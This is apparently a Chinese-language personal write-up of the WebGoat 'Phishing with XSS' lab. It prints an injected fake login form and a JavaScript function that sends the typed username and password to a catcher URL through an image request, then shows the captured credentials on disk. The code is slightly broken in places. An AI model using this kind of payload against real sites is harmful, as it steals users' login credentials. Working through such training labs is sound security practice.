“钓鱼测试”
目的就是创建一个表单,让受害者填写用户名和密码信息,然后会截取用户信息提交到webgoat上去。主要测试代码分为一下两部分:
<form>
<br>This feature requires account login:</br>
EnterName:<br><input type="text" id="user" name="user"><br>
EnterPassWord:<br><input type="password" password="pass"><br>
<br><input type="submit" name="login" value="login" onclick="hack()"><br>//onclick 当点击时被触发
</form>
这部分代码很简单 ,html语言创建一个表单,具体语法看菜鸟教程文档。 网上有一个教程说了测试代码的错误,其中一处是“submit” 应该改为“button”,不明白为什么这么做,看了文档,button就是创建一个可以点击的按钮,个人感觉还是submit,并且改为button后,就完全没反应了。。
下部分代码是将信息提交给webgoat了
<script>
//接收登陆信息
function hack(){
alert("登陆信息将被窃取" "Username="+document.forms[1].user.value+"Password="+document.forms[1].pass.value);//弹出警告框 document.forms[1].property
XSSimage=new Image();//创建一个图像对象
XSSimage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[1].user.value+"&password="+document.forms[1].pass.value+"";
}
但是,当我把全部的代码进行测试后,虽然显示“ * Congratulations. You have successfully completed this lesson. ”但是我并没有找到这个信息提交到哪里了,最后按照创建的url在“E:\WebGoat-5.4-OWASP_Standard_Win32\WebGoat-5.4\tomcat\webapps\WebGoat\users”中找到了,如下:
#guest
#Wed Sep 21 20:35:07 CST 2016
Phishing\ with\ XSS.viewedLessonPlan=false
Phishing\ with\ XSS.completed=true
Phishing\ with\ XSS.maxHintLevel=0
Phishing\ with\ XSS.numVisits=38
user=oo
Phishing\ with\ XSS.viewedParameters=false
Phishing\ with\ XSS.viewedSource=false
Phishing\ with\ XSS.viewedHtml=false
password=oooo
Phishing\ with\ XSS.viewedCookies=false
PROPERTY=yes
可以把这个文件夹删掉,再重新输入测试,就发现这个文件又被创建了,但有个问题就是:每次我换了其他的用户名和密码,提交到这个文件里的依然是oooo,不知道为什么,我猜想的一个原因是因为当时输入oooo时浏览器提示了“保存账户信息和密码”,可能是这个原因。
我们之所以可以截获是因为表单(登陆界面)是自己写的,可以随意添加,但实际其他的登陆我们只可以查看源代码却无法修改源代码,也就不那么容易截获啦